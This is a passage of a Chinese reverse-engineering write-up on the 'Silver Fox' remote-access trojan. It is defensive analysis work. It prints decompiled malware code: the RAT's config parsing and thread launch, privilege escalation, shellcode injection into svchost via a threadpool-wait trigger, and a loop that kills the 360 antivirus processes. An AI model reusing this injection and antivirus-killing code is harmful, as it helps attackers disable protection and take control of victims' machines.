1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 | int sub_35D29A0() { int result; // eax _DWORD v1[4]; // [esp-20h] [ebp-30h] BYREF int v2; // [esp-10h] [ebp-20h] int v3; // [esp-Ch] [ebp-1Ch] void *v4; // [esp-4h] [ebp-14h] wchar_t *v5; // [esp+Ch] [ebp-4h] if ( !byte_35F4FDC ) { byte_35F4FDC = 1; big_to_small(( __int16 *)a1Js04t14364o21); (( void (__cdecl *)( void *, _DWORD, int ))sub_35DB660)(&unk_35F3A98, 0, 4768); (( void (__cdecl *)( void *, _DWORD, int ))sub_35DB660)(&unk_35F4D38, 0, 664); LOWORD(v1[0]) = 0; wcslen(a1Js04t14364o21); (( void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); (( void (__fastcall *)( const wchar_t *, _DWORD))unk_35D2740)(L "p1:" , 0); v4 = &unk_35F3CB4; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = &a1Js04t14364o21[1]; wcslen(a1Js04t14364o21); (( void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); (( void (__fastcall *)( const wchar_t *, _DWORD))unk_35D2740)(L "o1:" , 0); v4 = 0; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = ( wchar_t *)v1; wcslen(a1Js04t14364o21); (( void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); (( void (__fastcall *)( const wchar_t *, int *))unk_35D2740)(L "t1:" , &dword_35F3CF0); v4 = &unk_35F3CF4; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = &a1Js04t14364o21[1]; wcslen(a1Js04t14364o21); (( void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); (( void (__fastcall *)( const wchar_t *, _DWORD))unk_35D2740)(L "p2:" , 0); v4 = &unk_35F3EF2; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = &a1Js04t14364o21[1]; wcslen(a1Js04t14364o21); (( void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); (( void (__fastcall *)( const wchar_t *, _DWORD))unk_35D2740)(L "o2:" , 0); v4 = 0; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = ( wchar_t *)v1; wcslen(a1Js04t14364o21); (( void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); (( void (__fastcall *)( const wchar_t *, int *))unk_35D2740)(L "t2:" , &dword_35F3F30); v4 = &unk_35F3F34; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = &a1Js04t14364o21[1]; wcslen(a1Js04t14364o21); (( void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); (( void (__fastcall *)( const wchar_t *, _DWORD))unk_35D2740)(L "p3:" , 0); v4 = &unk_35F4132; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = &a1Js04t14364o21[1]; wcslen(a1Js04t14364o21); (( void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); (( void (__fastcall *)( const wchar_t *, _DWORD))unk_35D2740)(L "o3:" , 0); v4 = 0; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = ( wchar_t *)v1; wcslen(a1Js04t14364o21); (( void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); (( void (__fastcall *)( const wchar_t *, int *))unk_35D2740)(L "t3:" , &dword_35F4170); v4 = &unk_35F4174; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = &a1Js04t14364o21[1]; wcslen(a1Js04t14364o21); (( void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); (( void (__fastcall *)( const wchar_t *, _DWORD))unk_35D2740)(L "dd:" , 0); v4 = &unk_35F41B0; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = &a1Js04t14364o21[1]; wcslen(a1Js04t14364o21); (( void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); (( void (__fastcall *)( const wchar_t *, _DWORD))unk_35D2740)(L "cl:" , 0); v4 = &unk_35F41EC; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = &a1Js04t14364o21[1]; wcslen(a1Js04t14364o21); (( void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); (( void (__fastcall *)( const wchar_t *, _DWORD))unk_35D2740)(L "fz:" , 0); v4 = &unk_35F4250; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = &a1Js04t14364o21[1]; wcslen(a1Js04t14364o21); (( void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); (( void (__fastcall *)( const wchar_t *, _DWORD))unk_35D2740)(L "bb:" , 0); v4 = &unk_35F42B4; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = &a1Js04t14364o21[1]; wcslen(a1Js04t14364o21); (( void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); (( void (__fastcall *)( const wchar_t *, _DWORD))unk_35D2740)(L "bz:" , 0); v4 = 0; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = ( wchar_t *)v1; wcslen(a1Js04t14364o21); (( void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); (( void (__fastcall *)( const wchar_t *, void *))unk_35D2740)(L "jp:" , &unk_35F4318); v4 = 0; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = ( wchar_t *)v1; wcslen(a1Js04t14364o21); (( void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); (( void (__fastcall *)( const wchar_t *, void *))unk_35D2740)(L "sx:" , &unk_35F431C); v4 = 0; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = ( wchar_t *)v1; wcslen(a1Js04t14364o21); (( void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); (( void (__fastcall *)( const wchar_t *, void *))unk_35D2740)(L "bh:" , &unk_35F4320); v4 = 0; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = ( wchar_t *)v1; wcslen(a1Js04t14364o21); (( void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); (( void (__fastcall *)( const wchar_t *, void *))unk_35D2740)(L "ll:" , &unk_35F4324); v4 = 0; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = ( wchar_t *)v1; wcslen(a1Js04t14364o21); (( void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); (( void (__fastcall *)( const wchar_t *, int *))unk_35D2740)(L "dl:" , &dword_35F4328); v4 = 0; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = ( wchar_t *)v1; wcslen(a1Js04t14364o21); (( void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); (( void (__fastcall *)( const wchar_t *, void *))unk_35D2740)(L "sh:" , &unk_35F432C); v4 = 0; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = ( wchar_t *)v1; wcslen(a1Js04t14364o21); (( void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); (( void (__fastcall *)( const wchar_t *, int *))unk_35D2740)(L "kl:" , &dword_35F4330); v4 = &unk_35F4D56; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = &a1Js04t14364o21[1]; wcslen(a1Js04t14364o21); (( void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); (( void (__fastcall *)( const wchar_t *, _DWORD))unk_35D2740)(L "p4:" , 0); v4 = &unk_35F4F54; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = &a1Js04t14364o21[1]; wcslen(a1Js04t14364o21); (( void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); (( void (__fastcall *)( const wchar_t *, _DWORD))unk_35D2740)(L "o4:" , 0); v4 = 0; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = ( wchar_t *)v1; wcslen(a1Js04t14364o21); (( void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); (( void (__fastcall *)( const wchar_t *, void *))unk_35D2740)(L "t4:" , &unk_35F4F90); v4 = &unk_35F4F94; v3 = 7; v2 = 0; v5 = ( wchar_t *)v1; LOWORD(v1[0]) = 0; wcslen(a1Js04t14364o21); (( void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); return (( int (__fastcall *)( const wchar_t *, _DWORD))unk_35D2740)(L "sj:" , 0); } return result; } |
解析出银狐远控的配置信息
创建线程执行远控。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | int sub_35D3710() { if ( !dword_35F4FD4 ) { sub_35D29A0(); dword_35F4FD4 = (( int (__stdcall *)(_DWORD, _DWORD, void (__noreturn *)(), _DWORD, _DWORD, _DWORD))kernel32_CreateThread)( 0, 0, sub_35D3140, 0, 0, 0); (( void (__stdcall *)(_DWORD, _DWORD, void (__noreturn *)(), _DWORD, _DWORD, _DWORD))kernel32_CreateThread)( 0, 0, sub_35D3460, 0, 0, 0); (( void (__stdcall *)( int , int ))kernel32_WaitForSingleObject)(dword_35F4FD4, -1); (( void (__stdcall *)( int ))kernel32_CloseHandle)(dword_35F4FD4); } return 0; } |
后面就是与服务端执行通信进行远控了,这里就不详细分析了
基于2.2.5所提到远程下载的样本project.exe进行分析
拖入ida中,发现它并未去除pdb
RtlAdjustPrivilege(20, 1, 0, &WasEnabled);
提升到SE_DEBUG_PRIVILEGE
特权
SE_DEBUG_PRIVILEGE
(20):允许调试其他进程。SE_SHUTDOWN_PRIVILEGE
(19):允许关闭系统。SE_TAKE_OWNERSHIP_PRIVILEGE
(9):允许取得对象的所有权。遍历进程查找svchost.exe
复制句柄
分配空间并写入进程
1 2 | v23 = VirtualAllocEx(v11, 0i64 , 0x8F6ui64 , 0x3000u , 0x40u ); WriteProcessMemory(v11, v23, &unk_7FF648BE6C70, 0x8F6ui64 , 0i64 ); |
注入的shellcode大致如下,简单一个遍历进程并关闭360
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 | __int64 __fastcall sub_7FF648BE6FF0(_QWORD *a1) { __int64 result; // rax char v2[8]; // [rsp+20h] [rbp-98h] BYREF char v3[16]; // [rsp+28h] [rbp-90h] BYREF char v4[16]; // [rsp+38h] [rbp-80h] BYREF char v5[16]; // [rsp+48h] [rbp-70h] BYREF char v6[16]; // [rsp+58h] [rbp-60h] BYREF char v7[16]; // [rsp+68h] [rbp-50h] BYREF char v8[24]; // [rsp+78h] [rbp-40h] BYREF char v9[40]; // [rsp+90h] [rbp-28h] BYREF *a1 = sub_7FF648BE6F60(); strcpy (v4, "CloseHandle" ); strcpy (v9, "CreateToolhelp32Snapshot" ); strcpy (v7, "Process32First" ); strcpy (v6, "Process32Next" ); strcpy (v5, "OpenProcess" ); strcpy (v8, "TerminateProcess" ); strcpy (v3, "lstrcmpiA" ); strcpy (v2, "Sleep" ); a1[1] = sub_7FF648BE6E30(*a1, v4); a1[2] = sub_7FF648BE6E30(*a1, v9); a1[3] = sub_7FF648BE6E30(*a1, v7); a1[4] = sub_7FF648BE6E30(*a1, v6); a1[5] = sub_7FF648BE6E30(*a1, v5); a1[6] = sub_7FF648BE6E30(*a1, v8); a1[7] = sub_7FF648BE6E30(*a1, v3); result = sub_7FF648BE6E30(*a1, v2); a1[8] = result; return result; } __int64 sub_7FF648BE6C70() { __int64 result; // rax char v1[16]; // [rsp+20h] [rbp-1C8h] BYREF char v2[16]; // [rsp+30h] [rbp-1B8h] BYREF __int64 v3; // [rsp+40h] [rbp-1A8h] __int64 v4; // [rsp+48h] [rbp-1A0h] __int64 v5; // [rsp+50h] [rbp-198h] char v6[8]; // [rsp+60h] [rbp-188h] BYREF void (__fastcall *v7)( __int64 ); // [rsp+68h] [rbp-180h] __int64 (__fastcall *v8)( __int64 , _QWORD); // [rsp+70h] [rbp-178h] unsigned int (__fastcall *v9)( __int64 , int *); // [rsp+78h] [rbp-170h] unsigned int (__fastcall *v10)( __int64 , int *); // [rsp+80h] [rbp-168h] __int64 (__fastcall *v11)( __int64 , _QWORD, _QWORD); // [rsp+88h] [rbp-160h] void (__fastcall *v12)( __int64 , _QWORD); // [rsp+90h] [rbp-158h] unsigned int (__fastcall *v13)( char *, char *); // [rsp+98h] [rbp-150h] void (__fastcall *v14)( __int64 ); // [rsp+A0h] [rbp-148h] int v15; // [rsp+B0h] [rbp-138h] BYREF unsigned int v16; // [rsp+B8h] [rbp-130h] char v17[268]; // [rsp+DCh] [rbp-10Ch] BYREF sub_7FF648BE6FF0(v6); strcpy (v1, "360tray.exe" ); strcpy (v2, "360Tray.exe" ); while ( 1 ) { result = v8(2i64, 0i64); v3 = result; if ( result == -1 ) return result; v15 = 304; if ( v9(v3, &v15) ) { while ( 1 ) { if ( !v13(v17, v1) ) { v4 = v11(1i64, 0i64, v16); if ( v4 ) { v12(v4, 0i64); v7(v4); } goto LABEL_13; } if ( !v13(v17, v2) ) break ; if ( !v10(v3, &v15) ) goto LABEL_13; } v5 = v11(1i64, 0i64, v16); if ( v5 ) { v12(v5, 0i64); v7(v5); } } LABEL_13: v7(v3); v14(100i64); } } |
创建一个线程池等待对象,并将其写入进程
1 2 3 4 5 | ThreadpoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)v23, 0i64, 0i64); v25 = VirtualAllocEx(v11, 0i64, 0x1D8ui64, 0x3000u, 4u); WriteProcessMemory(v11, v25, ThreadpoolWait, 0x1D8ui64, 0i64); v26 = VirtualAllocEx(v11, 0i64, 0x48ui64, 0x3000u, 4u); WriteProcessMemory(v11, v26, ( char *)ThreadpoolWait + 392, 0x48ui64, 0i64); |
创建事件,并将事件与等待对象关联,事件设置之后就会执行shellcode
1 2 3 4 5 6 7 8 | EventW = CreateEventW(0i64, 0, 0, L "asdEvent" ); (( void (__fastcall *)(_QWORD, __int64 , HANDLE , void *, void *))ZwAssociateWaitCompletionPacket)( *((_QWORD *)ThreadpoolWait + 46), qword_7FF648BE9CB8, EventW, v26, v25); SetEvent(EventW); |
动态加载函数然后强关360
该病毒通过多层次的加载机制和复杂的内存操作,实现了远程控制、反检测和强制关闭安全软件等功能。其执行流程包括远程加载 shellcode、反射加载 DLL、自解密、提权操作,以及利用动态 API 调用实现代码注入和系统操作。同时,病毒设置自身为系统关键进程,以蓝屏保护机制防止被终止,并通过与远程服务器持续通信,执行数据窃取和控制命令。整体攻击流程展现出极高的隐蔽性和破坏性。
更多【软件逆向-【病毒分析】R3强杀360:银狐远控病毒再进化】相关视频教程:www.yxfzedu.com